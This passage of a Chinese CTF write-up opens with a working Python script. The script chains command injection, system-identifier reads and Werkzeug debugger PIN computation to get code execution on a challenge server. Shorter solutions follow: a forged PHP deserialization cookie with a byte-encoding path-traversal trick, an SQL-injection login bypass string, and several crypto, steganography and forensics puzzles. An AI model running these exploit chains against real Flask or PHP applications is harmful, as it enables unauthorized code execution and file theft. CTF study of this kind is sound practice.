"printf\t'%s'\t'MID:'>>/tmp/out",
"cat\t/etc/machine-id>>/tmp/out",
"printf\t'%s'\t'BOOT:'>>/tmp/out",
"cat\t/proc/sys/kernel/random/boot_id>>/tmp/out",
"printf\t'%s'\t'CGROUP:'>>/tmp/out",
"head\t-n1\t/proc/self/cgroup>>/tmp/out",
"for\tf\tin\t/sys/class/net/*/address;do\tprintf\t'%s'\t'MAC:'>>/tmp/out;cat\t$f>>/tmp/out;done",
"printf\t'%b'\t'from\tflask\timport\tFlask\nDATA=\"\"\"\n'>app.py",
"cat\t/tmp/out>>app.py",
"printf\t'%b'\t'\n\"\"\"\napp=Flask(__name__)\ndef\tx():\n\treturn\tDATA\napp.add_url_rule(\"/\",\"x\",x)\n'>>app.py",
"touch\t-d\t@$t\tapp.py",
]
)


def build_opener():
jar = http.cookiejar.CookieJar()
return urllib.request.build_opener(urllib.request.HTTPCookieProcessor(jar))


def http_get(opener, url: str) -> str:
with opener.open(url, timeout=30) as resp:
return resp.read().decode("utf-8", "replace")


def http_post_form(opener, url: str, data: dict[str, str]) -> str:
body = urllib.parse.urlencode(data).encode()
req = urllib.request.Request(url, data=body)
with opener.open(req, timeout=30) as resp:
return resp.read().decode("utf-8", "replace")


def extract_data_blob(page: str) -> str:
match = APP_MARKER_RE.search(page)
if not match:
raise ValueError("failed to extract DATA block from homepage")
return match.group("data")


def parse_stage1_blob(blob: str) -> dict[str, object]:
marker = "USER:"
idx = blob.find(marker)
if idx == -1:
raise ValueError("failed to locate USER marker in DATA block")

flag1 = blob[:idx].rstrip("\n")
rest = blob[idx:]
match = re.search(
r"USER:(?P<user>.*?)MID:(?P<mid>.*?)BOOT:(?P<boot>.*?)CGROUP:(?P<cgroup>.*?)MAC:(?P<macs>.*)",
rest,
re.S,
)
if not match:
raise ValueError("failed to parse labeled DATA block")

macs = []
for line in match.group("macs").splitlines():
line = line.strip()
if not line:
continue
if line.startswith("MAC:"):
line = line[4:]
if line:
macs.append(line)
return {
"flag1": flag1,
"user": match.group("user").strip(),
"mid": match.group("mid").strip(),
"boot": match.group("boot").strip(),
"cgroup": match.group("cgroup").strip(),
"macs": macs,
}


def compute_candidates(meta: dict[str, object]) -> list[tuple[str, str, str]]:
username = str(meta.get("user", "")).strip()
boot_id = str(meta.get("boot", "")).strip()
machine_id = str(meta.get("mid", "")).strip()
cgroup = str(meta.get("cgroup", "")).strip()
cgroup_tail = cgroup.rpartition("/")[2]
macs = [m.strip().lower() for m in meta.get("macs", []) if str(m).strip()]

public_bits = [
username,
"flask.app",
"Flask",
"/usr/local/lib/python3.10/site-packages/flask/app.py",
]

machine_candidates = []
if machine_id:
machine_candidates.append(machine_id + cgroup_tail)
if boot_id:
machine_candidates.append(boot_id + cgroup_tail)

candidates = []
for mac in macs:
mac_dec = str(int(mac.replace(":", ""), 16))
for machine in machine_candidates:
h = hashlib.sha1()
for bit in chain(public_bits, [mac_dec, machine]):
h.update(bit.encode())
h.update(b"cookiesalt")
cookie_name = "__wzd" + h.hexdigest()[:20]
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
for group_size in (5, 4, 3):
if len(num) % group_size == 0:
pin = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
pin = num
pin_hash = hashlib.sha1(f"{pin} added salt".encode()).hexdigest()[:12]
candidates.append((pin, cookie_name, pin_hash))

deduped = []
seen = set()
for item in candidates:
if item[0] in seen:
continue
deduped.append(item)
seen.add(item[0])
return deduped


def extract_secret(console_page: str) -> str:
match = CONSOLE_SECRET_RE.search(console_page)
if not match:
raise ValueError("failed to extract debugger secret")
return match.group(1)


def try_pin_auth(opener, base_url: str, pin: str, secret: str) -> bool:
query = urllib.parse.urlencode(
{"__debugger__": "yes", "cmd": "pinauth", "pin": pin, "s": secret}
)
text = http_get(opener, f"{base_url}/console?{query}")
return '"auth": true' in text


def console_eval_string(opener, base_url: str, secret: str, expr: str) -> str:
query = urllib.parse.urlencode(
{"__debugger__": "yes", "cmd": expr, "frm": "0", "s": secret}
)
text = http_get(opener, f"{base_url}/console?{query}")
match = CONSOLE_STRING_RE.search(text)
if not match:
raise ValueError(f"console response did not contain a string: {text}")
rendered = html.unescape(match.group(1))
return ast.literal_eval(rendered)


def normalize_flag(flag1: str, flag2: str) -> tuple[str, str]:
raw = flag1.strip() + flag2.strip()
normalized = raw[:-1] if raw.endswith("}}") else raw
return raw, normalized


def run(base_url: str) -> int:
opener = build_opener()
base_url = base_url.rstrip("/")

print(f"[+] Fetching {base_url}/")
home = http_get(opener, f"{base_url}/")
if "flag1 = open(" in home and "/shell" in home:
payload = build_stage1_payload()
print("[+] Sending stage-1 payload")
result = http_post_form(opener, f"{base_url}/shell", {"act": payload})
if "Wow" not in result:
print(f"[-] Stage-1 failed: {result}")
return 1
print("[+] Reading stage-1 output from homepage")
page = http_get(opener, f"{base_url}/")
elif 'DATA="""' in home:
print("[+] Existing staged homepage detected; reusing current DATA block")
page = home
else:
print("[-] Homepage is neither fresh source nor a staged DATA view")
return 1
blob = extract_data_blob(page)
meta = parse_stage1_blob(blob)

flag1 = str(meta["flag1"])
print(f"[+] flag1 raw: {flag1!r}")
print(f"[+] user: {str(meta.get('user', '')).strip()!r}")
print(f"[+] machine-id: {str(meta.get('mid', '')).strip()!r}")
print(f"[+] boot-id: {str(meta.get('boot', '')).strip()!r}")
print(f"[+] cgroup: {str(meta.get('cgroup', '')).strip()!r}")
print(f"[+] macs: {meta.get('macs', [])!r}")

console_page = http_get(opener, f"{base_url}/console")
secret = extract_secret(console_page)
print(f"[+] debugger secret: {secret}")

pin = None
for candidate_pin, cookie_name, pin_hash in compute_candidates(meta):
print(f"[+] trying pin candidate: {candidate_pin}")
if try_pin_auth(opener, base_url, candidate_pin, secret):
pin = candidate_pin
print(f"[+] pin auth succeeded: {candidate_pin}")
print(f"[+] cookie name: {cookie_name}")
print(f"[+] pin hash: {pin_hash}")
break

if not pin:
print("[-] no pin candidate worked")
return 1

print("[+] Reading flag2 from debugger console")
flag2 = console_eval_string(opener, base_url, secret, "__import__('app').flag2")
print(f"[+] flag2 raw: {flag2!r}")

combined_raw, combined_normalized = normalize_flag(flag1, flag2)
print(f"[+] combined raw: {combined_raw}")
print(f"[+] combined normalized: {combined_normalized}")
return 0


def main() -> int:
parser = argparse.ArgumentParser(
description="Automate the Flask/Werkzeug debug exploit chain for this challenge."
)
parser.add_argument("url", help="Base URL, for example http://222.22.91.49:31283")
args = parser.parse_args()
try:
return run(args.url)
except Exception as exc: # noqa: BLE001
print(f"[-] {exc}")
return 1


if __name__ == "__main__":
sys.exit(main())

mediadrive

随便上传一个文件,就能发现preview.php。

后面f参数可以进行路径绕过,但是提示权限不足

image-20260606162640553

看到cookie的user是一个反序列字符串:里面可以控制basePath
image-20260606162729677

因此构造恶意cookie如下:

O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22encoding%22%3Bs%3A3%3A%22GBK%22%3Bs%3A8%3A%22basePath%22%3Bs%3A1%3A%22%2F%22%3B%7D

直接输入f=flag还是不行

根据提示:提示:文件访问过程中有编码转换环节。请读取服务器上的 /flag 文件获取 flag。 提示:直接访问flag行不通,有没有什么欺骗解析的方法?

我们输入脏字节即可,这里采取0xff这个字节即可

输入f参数为f%FFl%FFa%FFg

即可绕过检测拿到flag

image-20260606163137854

刘易斯镇长的秘密

用户名输入万能密码即可进入主页面获取flag

我用的密码:1' or 1=1 --+

image-20260606153042031

Crypto

Vigenère Challenge

这应该是维吉尼亚密码

密钥尝试弱密钥key 解密出来的base64能被解码出来:
image-20260606155614343

然后推测这是键盘密码

比如第一个wazxde,包围起来的字母就是s,以此类推

解出来得是sTriFe

Misc

超级简单二维码

第一个字节出错了,修改即可

image-20260606163336948

解压后扫码即可

情书

010发现后面藏得有压缩包文件头,但是每个字节的16进制都是倒叙排列

写一个脚本提取文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pathlib import Path


PNG_PATH = Path("F:/Desktop/\u60c5\u4e66.png")
ZIP_PATH = Path("F:/Desktop/qingshu_hidden.zip")


def find_appended_data_after_iend(data: bytes) -> bytes:
pos = 8
while pos + 8 <= len(data):
length = int.from_bytes(data[pos:pos + 4], "big")
chunk_type = data[pos + 4:pos + 8]
next_pos = pos + 12 + length
if chunk_type == b"IEND":
return data[next_pos:]
pos = next_pos
raise ValueError("IEND chunk not found")


def swap_nibbles(buf: bytes) -> bytes:
return bytes(((b & 0x0F) << 4) | (b >> 4) for b in buf)


def main() -> None:
png_data = PNG_PATH.read_bytes()
tail = find_appended_data_after_iend(png_data)
zip_data = swap_nibbles(tail)
ZIP_PATH.write_bytes(zip_data)
print(f"Recovered ZIP written to: {ZIP_PATH}")


if __name__ == "__main__":
main()

有一个txt没加密:

1
2
3
4
这是一个数学家爱上公主的故事
这封情书,是写给K的赞美诗
那么K是谁呢?
这封情书是第十三封情书,又有什么特别的?

查阅典故得知是笛卡尔写给克里斯蒂娜公主的第十三封信。试出来一个密码 Kristina 解出 1.txt

image-20260606170659120

英语真的不简单吧

foremost文件提取后得到:
EJ FM GH FH EJ CC GD FN FB CB CI FK DL DH FL GF FD EC DB FM FA EG CE FK DI DG CA FL DI EH C〇 CM

这里是把a-o看作十六进制,然后转换为字符再解密即可

image-20260606165854764

Forensics

女装流量

首先追踪流寻找到flag.zip

image-20260606153240582

这个进行了压缩包加密操作

image-20260606155055456

这个命令我们解码之后是这样:
cd "C:\Program Files\phpstudy_pro\WWW\LitCTF-pcapng" && zip -P "zhongyuangongxueyuandrops" f1ag.zip flag.php && echo 1a925 && cd && echo 6ffeb1

这里已经给出密码了zhongyuangongxueyuandrops

解压即可